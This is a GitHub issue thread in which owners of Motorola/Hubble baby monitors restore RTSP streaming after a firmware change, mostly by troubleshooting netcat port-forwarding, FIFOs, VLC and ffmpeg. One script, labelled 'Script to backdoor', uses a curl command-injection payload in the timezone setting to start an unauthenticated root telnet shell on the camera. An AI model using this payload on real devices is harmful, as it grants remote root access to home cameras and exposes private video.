Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

problem with MBP85C camera #1

Open
pilot1981 opened this issue Sep 25, 2019 · 44 comments
Open

problem with MBP85C camera #1

pilot1981 opened this issue Sep 25, 2019 · 44 comments

Comments

@pilot1981
Copy link

HI,
all worked fine for me in last 6 months, but from about 1 month these links:

http://192.168.1.107/-wvhttp-01-/video.cgi
http://192.168.1.107/cgi/jpg/image.cgi

don't work for my MBP85C webcam.

can you help me?

@exussum12
Copy link

This was explicitly removed in the firmware

+# Remove unused plugin from ver
+# 1854 - Laster than Ver. 1854-03.10.30.RC_00
+rm -f /mnt/skyeye/lib/skyeye/plugin_streaming.so
+rm -f /mnt/skyeye/lib/skyeye/plugin_upnp.so

Work around is currently downgrade firmware, and use your router to block ota.hubble.in resolving so the camera cant update

@simpz
Copy link

simpz commented Aug 15, 2023

I managed to get RTSP without downgrading the firmware if anyone is still interested.
https://randywestergren.com/unauthenticated-remote-code-execution-in-motorola-baby-monitors/
See comments on this.

@exussum12
Copy link

Thanks for that! Struggeling to get working at the min

ps shows

 4638 root       820 S    nc 127.0.0.1 6667
 4639 root       820 S    nc -l -p 6668

Netstat shows


tcp        0      0 127.0.0.1:6667          0.0.0.0:*               LISTEN      820/msloader
tcp        0      0 0.0.0.0:6668            0.0.0.0:*               LISTEN      4737/nc

but

ffplay rtsp://user:pass@ip:6668/blinkhd

Just seems to hang

Any suggestions?

@exussum12
Copy link

Command was wrong

ffmpeg -rtsp_transport tcp rtsp://user:pass@ip:6668/blinkhd

is the correct command

@simpz
Copy link

simpz commented Aug 15, 2023

Did you get video out okay with your command? Just interested to know if it worked for you.

To be honest I found the h264 a bit rough with my camera (quite a lot of bad mpeg packets), I had some horrors like re-encoding it which helped or even worse twice re-encoded with different encoders to fix up.

ffmpeg -rtsp_transport tcp -i 'rtsp://user:pass@cam.lan:6668/blinkhd' -listen 1 -ar 44100 -vcodec libx264 -bsf:v h264_mp4toannexb -preset ultrafast -tune zerolatency -r 24 -async 1 -acodec libmp3lame -b:a 128k -method HEAD -f mpegts http://:55555

or

#!/bin/bash

ffmpeg -rtsp_transport tcp -i 'rtsp://user:pass@cam.lan:6668/blinkhd' -listen 1 -ar 44100 -vcodec libx264 -bsf:v h264_mp4toannexb -preset ultrafast -tune zerolatency -r 24 -async 1 -acodec
libmp3lame -b:a 128k -f mpegts http://localhost:55554 &

sleep 10

cvlc 'http://localhost:55554' :network-caching=1000 --sout "#transcode{acodec=mp3,ab=128}:standard{access=http,mux=ts,dst=:55555}" --sout-keep

Maybe worth nothing to you..just thought I'd mention.

@pilot1981
Copy link
Author

pilot1981 commented Aug 15, 2023

thanks.

very strange, but for me it doesn't work...

I only see this in netstat:
tcp 0 0 127.0.0.1:6667 0.0.0.0:* LISTEN 820/msloader

I don't have also this:
tcp 0 0 0.0.0.0:6668 0.0.0.0:*

If I use this command:
nc -l -p 6668 1>/tmp/recorder/backpipe

it open port 6668, but when I try to connect using vlc, it doesn't works and webcam close connection...

VLC media player 3.0.18 Vetinari (revision 3.0.18-0-ge9eceaed4d)
[00007fc864d1a940] main libvlc: Esecuzione di vlc con l'interfaccia predefinita. Usa 'cvlc' per utilizzare vlc senza interfaccia.
CoreSVG has logged an error. Set environment variabe "CORESVG_VERBOSE" to learn more.
2023-08-15 23:43:05.803 VLC[22904:6451327] Can't find app with identifier com.apple.iTunes
2023-08-15 23:43:05.877 VLC[22904:6451327] Can't find app with identifier com.spotify.client
[00007fc866dfd9a0] live555 demux error: Failed to connect with rtsp://192.168.4.20:6668/blinkhd
[00007fc868c494f0] main stream error: connection failed: Connection refused
[00007fc868c494f0] satip stream error: Failed to connect to RTSP server 192.168.4.20:6668
[00007fc868c494f0] main stream error: connection failed: Connection refused
[00007fc868c494f0] access_realrtsp stream error: cannot connect to 192.168.4.20:6668

do you used user and password used in hubble app? I can use dot in username?

@simpz
Copy link

simpz commented Aug 15, 2023

Manually it should be:

telnet cam.lan
Once logged in to the camera, it should be this exact command:

mkfifo /tmp/recorder/backpipe
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

They need to be in a pipe to perform bi-directional comms between the two nc's

I just wrapped this in a loop so it doesn't stop after the first connection disconnects
while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; echo hi ; done &

@pilot1981
Copy link
Author

all seems to works fine on webcam cli, but I'm not able to connect?

which credentials are you using? I tried app credentials and root...but don't help...

@simpz
Copy link

simpz commented Aug 15, 2023

This exact command to test, it has nothing to do with the apps credentials.
and the username is just "user" and password is just "pass".
vlc 'rtsp://user:pass@192.168.4.20:6668/blinkhd' :network-caching=1000 :rtsp-tcp

Try a telnet to
telnet 192.168.4.20 6668
to test the open port, looks like it isn't listening when you get connection refused.

@pilot1981
Copy link
Author

pilot1981 commented Aug 16, 2023

when I start VLC comand, net process dead on webcam and I receive closed connection result on my client:

telnet 192.168.4.20 6668
Trying 192.168.4.20...
Connected to 192.168.4.20.
Escape character is '^]'.

the same with vlc client:

vlc 'rtsp://user:pass@192.168.4.20:6668/blinkhd' :network-caching=1000 :rtsp-tcp
VLC media player 3.0.18 Vetinari (revision 3.0.18-0-ge9eceaed4d)
[00007fb8d5c25580] main libvlc: Esecuzione di vlc con l'interfaccia predefinita. Usa 'cvlc' per utilizzare vlc senza interfaccia.
[00007fb8d5d364f0] live555 demux error: Failed to connect with rtsp://192.168.4.20:6668/blinkhd
[00007fb8d5f41700] main stream error: connection failed: Connection refused
[00007fb8d5f41700] satip stream error: Failed to connect to RTSP server 192.168.4.20:6668
[00007fb8d5f41700] main stream error: connection failed: Connection refused
[00007fb8d5f41700] access_realrtsp stream error: cannot connect to 192.168.4.20:6668
CoreSVG has logged an error. Set environment variabe "CORESVG_VERBOSE" to learn more.
[00007fb8d5f64b00] live555 demux error: Failed to connect with rtsp://192.168.4.20:6668/blinkhd
[00007fb8d6a1bdb0] main stream error: connection failed: Connection refused
[00007fb8d6a1bdb0] satip stream error: Failed to connect to RTSP server 192.168.4.20:6668
[00007fb8d6a1bdb0] main stream error: connection failed: Connection refused
[00007fb8d6a1bdb0] access_realrtsp stream error: cannot connect to 192.168.4.20:6668
[00007fb8d5d67fe0] live555 demux error: Failed to connect with rtsp://192.168.4.20:6668/blinkhd

the same happen using ffmpeg client:

ffmpeg -rtsp_transport tcp -i 'rtsp://user:pass@192.168.4.20:6668/blinkhd' -listen 1 -ar 44100 -vcodec libx264 -bsf:v h264_mp4toannexb -preset ultrafast -tune zerolatency -r 24 -async 1 -acodec libmp3lame -b:a 128k -method HEAD -f mpegts http://:55555
ffmpeg version 6.0 Copyright (c) 2000-2023 the FFmpeg developers
built with Apple clang version 13.0.0 (clang-1300.0.29.30)
configuration: --prefix=/usr/local/Cellar/ffmpeg/6.0 --enable-shared --enable-pthreads --enable-version3 --cc=clang --host-cflags= --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libaribb24 --enable-libbluray --enable-libdav1d --enable-libmp3lame --enable-libopus --enable-librav1e --enable-librist --enable-librubberband --enable-libsnappy --enable-libsrt --enable-libsvtav1 --enable-libtesseract --enable-libtheora --enable-libvidstab --enable-libvmaf --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxml2 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-libspeex --enable-libsoxr --enable-libzmq --enable-libzimg --disable-libjack --disable-indev=jack --enable-videotoolbox --enable-audiotoolbox
libavutil 58. 2.100 / 58. 2.100
libavcodec 60. 3.100 / 60. 3.100
libavformat 60. 3.100 / 60. 3.100
libavdevice 60. 1.100 / 60. 1.100
libavfilter 9. 3.100 / 9. 3.100
libswscale 7. 1.100 / 7. 1.100
libswresample 4. 10.100 / 4. 10.100
libpostproc 57. 1.100 / 57. 1.100
rtsp://user:pass@192.168.4.20:6668/blinkhd: Invalid data found when processing input

where I have to put script to open RTSP flow every day?

@simpz
Copy link

simpz commented Aug 16, 2023

To be honest I didn't alter the camera in any way, which I was actually quite happy about. My Camera would always reboot about 3:00PM, I'd just cron this script a few times over the hour after that, to hack the service back in place:

#!/bin/bash

# Script to backdoor

# Test if telnet is inplace if so, hack is still in place
nc -z cam.lan 23 
if [ $? -eq 0 ] ; then
     echo Hack still in place
     exit 0
fi

echo "Setting up telnetd"
curl -m 20 -v -g 'http://cam.lan/?action=command&command=set_city_timezone&value=$(IFS=''%20'';/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh)'

echo "Camera Uptime"
( sleep 2 ; echo 'cat /proc/uptime' ; sleep 2; exit ) | telnet cam.lan | grep -Po '(\d+\.)+\d+ (\d+\.)+\d+' | cut -d' ' -f1 | while read n ; do echo Uptime is  `units -1v "$n seconds" hours`; done

sleep 1

echo "Set up Streaming port redir"
( sleep 2 ; echo "mkfifo /tmp/recorder/backpipe" ; sleep 1 ; trap "" HUP; sleep 1 ; echo '( trap "" HUP; while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &' ; sleep 2; kill -9 $$ ) | telnet cam.lan

I guess you could add a
( while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &

to the bottom of /mnt/skyeye/msloader_go.sh before the exit 0

But I haven't tried this, I haven't got the camera anymore to test this, and don't blame me if it doesn't work or stops the camera booting! I don't even know if this partition is R/W by default. If I was going down this road I'd probably put this is in a script somewhere (e.g. /mnt/skyeye/bin/rtsphack), test on the cli to see if okay and call this backgrounded from this file msloader_go.sh (i.e. /mnt/skyeye/bin/rtsphack & before the exit 0) to minimise the risk a bit. But none of this has been tested! This is for someone else to take further if they like.

When I bought this device for quite a lot of money and my partner wouldn't have been happy if I bricked it, so I liked the ability to just apply the hack with no permanent changes to the camera, a reboot would fix anything.

@pilot1981
Copy link
Author

Hi,
I think I found the problem:

#mkfifo /tmp/recorder/backpipe

mkfifo: /tmp/recorder/backpipe: File exists

#nc 127.0.0.1 6667 0</tmp/recorder/backpipe

#ps | grp nc

->no any process active with nc command...

if i use this comand:

nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

I only see this process/port opened:

1161 root 820 nc -l -p 6668

this process don't opened any port on 6668...

@simpz
Copy link

simpz commented Aug 16, 2023

The command
nc 127.0.0.1 6667 0</tmp/recorder/backpipe
,will do nothing on it's own it needs to be in a pipeline with the listening nc and is pointless to run.

It needs to be in a pipeline:
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

i.e. nc is outputing video via the pipe to the nc -l, but the backpipe is taking the output from the server to complete the TCP connection for the server and this goes back into the connecting nc.

This is just a port forward hack, there maybe another way of doing this (better) on Linux but the CLI isn't very rich on the camera but there maybe another way.

All this is doing is taking port inbound 6668 TCP and port forwarding to port 6667 on loopback 127.0.0.1.

Running this,
netstat -apn | grep 6667

Is the build in process listening on 6667 on the loopback interface, I can't remember even the process name.

@pilot1981
Copy link
Author

ok, thanks.

when I launch nc, I see it on webcam:

tcp 127.0.0.1:6667 0.0.0.0:* LISTEN 815/msloader
tcp 0.0.0.0:6668 0.0.0.0:* LISTEN 1071/nc
tcp 127.0.0.1:58730 127.0.0.1:6667 TIME_WAIT

and only one nc -l -p 6668 process...

but when I launch vlc command, ports remain opened but I see nc process died...I don't understand why?!

@simpz
Copy link

simpz commented Aug 16, 2023

If you kill all nc's and rerun the pipeline command what does
ps | grep nc
show?

@pilot1981
Copy link
Author

only one process:

1258 root nc -l -p 6668

@exussum12
Copy link

To be honest I found the h264 a bit rough with my camera (quite a lot of bad mpeg packets), I had some horrors like re-encoding it which helped or even worse twice re-encoded with different encoders to fix up.

Same, quality seems poor but it does work. ffplay complains quite a lot about it but it does display

@simpz
Copy link

simpz commented Aug 16, 2023

To be honest I found the h264 a bit rough with my camera (quite a lot of bad mpeg packets), I had some horrors like re-encoding it which helped or even worse twice re-encoded with different encoders to fix up.

Same, quality seems poor but it does work. ffplay complains quite a lot about it but it does display

I found the image quality itself okay e.g. resolution and update rate (equal to the app if not better when viewed via VLC), but just the dodgy h264 encode. If this is fixed up by re-encoding it mostly stable.

@pilot1981
Copy link
Author

do you have problem of nc process died when you launch vlc command...?!

@simpz
Copy link

simpz commented Aug 16, 2023

@pilot1981

If you leave the command in a shell in the foreground you'll see when the first nc dies when you connect.
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

@pilot1981
Copy link
Author

I see first nc died, but died also second nc

how may nc process I have to see?

1 similar comment
@pilot1981
Copy link
Author

I see first nc died, but died also second nc

how may nc process I have to see?

@simpz
Copy link

simpz commented Aug 16, 2023

That is expected, the nc's should die after a single connection is connected then terminated. This will only allow one connection at a time also.

You can keep it running by putting this in a loop (still a single connection though), to restart the listener, after each connection closes:
while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done

As I say this is a grotty hack to get some rtsp out of this and a further grotty hack to get port redirection to work with it's limited CLI toolset.

@simpz
Copy link

simpz commented Aug 16, 2023

Or even for debug stick and echo in the loop and see if it's constantly restarting, or (as it should be) just on a reconnection:

while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; echo restarting; done

@pilot1981
Copy link
Author

pilot1981 commented Aug 16, 2023

Ok, shell script modified and launched.

when I call one time VLC, I see one restarting messages in webcam console…

@simpz
Copy link

simpz commented Aug 16, 2023

If from another machine you

telnet cam.lan 6668
Trying 192.168.x.y
Connected to localhost.
Escape character is '^]'.

There should be no restarting message until you quit this telnet session.

@pilot1981
Copy link
Author

Hi,

  1. I started the while cycle on webcam
  2. I started vlc client on host A
  3. webcam console say "restarting" two times
  4. I started telnet 192.168.2.40 6668 on host B (closed itself very often)
  5. webcam console say "restarting" one more time

what means?

@simpz
Copy link

simpz commented Aug 17, 2023

I'm not sure why this might be, and working for others, maybe your camera is a bit different.
Next step would probably be to wireshark/tcpdump the traffic to the camera.

@pilot1981
Copy link
Author

You tested it on MBP86C?

Which traffic I have to capture?

@simpz
Copy link

simpz commented Aug 18, 2023

Mine was an MBP667. Not sure what other @exussum12 has as this works for him too.
I'd have thought a

tcpdump -i intetfacename port 6668 -w /tmp/rtsp.cap

, where interfacename is the ethernet interface use to connect to the camera.

And load and decode the RTSP (if it gets that far) in wireshark.

@exussum12
Copy link

I have Motorola MBP853 and its working fine

@pilot1981
Copy link
Author

tcpdump -i intetfacename port 6668 -w /tmp/rtsp.cap

rtsp.zip

@pilot1981 pilot1981 reopened this Sep 5, 2023
@pilot1981
Copy link
Author

.118 is my PC and .20 is motorola webcam

I see many reset messages from webcam..

image

@simpz
Copy link

simpz commented Sep 15, 2023

Sadly I just don't see any RTSP traffic from the camera at all. I don't really see why as the ports from msloader look open and should port forward through the named pipe and the standard pipe to the nc process. Sadly I'm at a bit of a loss.

@pilot1981
Copy link
Author

I think it's a trivial problem...I must have done something wrong! :-) I will summarize the following key elements:

tcp 0 0 127.0.0.1:6667 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6668 0.0.0.0:* LISTEN

5126 root 820 S nc -l -p 6668
5479 root 820 S grep 666

then I send this command in webcam cli:
nc 127.0.0.1 6667 0/tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

now what I have to check again?

@pilot1981
Copy link
Author

if I open VLC happen:

  1. process nc -l -p 6668 si died
  2. tcp connection on 6668 port is closed

what am I doing wrong?

@simpz
Copy link

simpz commented Sep 16, 2023

I guess to check the FIFO needs to be in place:

rm -f  /tmp/recorder/backpipe
mkfifo /tmp/recorder/backpipe
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

And you had a missing '<' in the above command line but that maybe was just formatting in the forum chat...

@pilot1981
Copy link
Author

I guess to check the FIFO needs to be in place:

rm -f  /tmp/recorder/backpipe
mkfifo /tmp/recorder/backpipe
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

And you had a missing '<' in the above command line but that maybe was just formatting in the forum chat...

great job: now it works!!!!!!!!!!

thanks very muche for your help!!!!!

@simpz
Copy link

simpz commented Sep 18, 2023

I guess to check the FIFO needs to be in place:

rm -f  /tmp/recorder/backpipe
mkfifo /tmp/recorder/backpipe
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

And you had a missing '<' in the above command line but that maybe was just formatting in the forum chat...

great job: now it works!!!!!!!!!!

thanks very muche for your help!!!!!

That's good news!

@pilot1981
Copy link
Author

To be honest I didn't alter the camera in any way, which I was actually quite happy about. My Camera would always reboot about 3:00PM, I'd just cron this script a few times over the hour after that, to hack the service back in place:

#!/bin/bash

# Script to backdoor

# Test if telnet is inplace if so, hack is still in place
nc -z cam.lan 23 
if [ $? -eq 0 ] ; then
     echo Hack still in place
     exit 0
fi

echo "Setting up telnetd"
curl -m 20 -v -g 'http://cam.lan/?action=command&command=set_city_timezone&value=$(IFS=''%20'';/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh)'

echo "Camera Uptime"
( sleep 2 ; echo 'cat /proc/uptime' ; sleep 2; exit ) | telnet cam.lan | grep -Po '(\d+\.)+\d+ (\d+\.)+\d+' | cut -d' ' -f1 | while read n ; do echo Uptime is  `units -1v "$n seconds" hours`; done

sleep 1

echo "Set up Streaming port redir"
( sleep 2 ; echo "mkfifo /tmp/recorder/backpipe" ; sleep 1 ; trap "" HUP; sleep 1 ; echo '( trap "" HUP; while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &' ; sleep 2; kill -9 $$ ) | telnet cam.lan

I guess you could add a ( while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &

to the bottom of /mnt/skyeye/msloader_go.sh before the exit 0

But I haven't tried this, I haven't got the camera anymore to test this, and don't blame me if it doesn't work or stops the camera booting! I don't even know if this partition is R/W by default. If I was going down this road I'd probably put this is in a script somewhere (e.g. /mnt/skyeye/bin/rtsphack), test on the cli to see if okay and call this backgrounded from this file msloader_go.sh (i.e. /mnt/skyeye/bin/rtsphack & before the exit 0) to minimise the risk a bit. But none of this has been tested! This is for someone else to take further if they like.

When I bought this device for quite a lot of money and my partner wouldn't have been happy if I bricked it, so I liked the ability to just apply the hack with no permanent changes to the camera, a reboot would fix anything.

I tried to use this bash script:

  • this works fine first time
  • When RTSP queue died, script is unable to open again queue

What I have to change on script?

@simpz
Copy link

simpz commented Sep 20, 2023

I tried to use this bash script:

* this works fine first time

* When RTSP queue died, script is unable to open again queue

What I have to change on script?

The script was a quick knocked together thing as demo. It assumes that if port 23 telnet is still open the camera hasn't rebooted. So multiple runs won't restart the streaming piece as I personally never saw it die. I guess the first step would be to telnet into the camera and see if the nc's are still running from ps.

@pilot1981
Copy link
Author

pilot1981 commented Sep 23, 2023

Thanks for suggestions! I go to do some test!

do you know right image snapshot URL?

http://192.168.4.20/cgi/jpg/image.cgi Seems don’t working…

@simpz
Copy link

simpz commented Sep 24, 2023

I think this was disabled with a previous firmware update due to security concerns, I don't know this one sadly.

@pilot1981
Copy link
Author

For me could be interesting recover snapshot feature…I don’t know from where I have to start…?!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants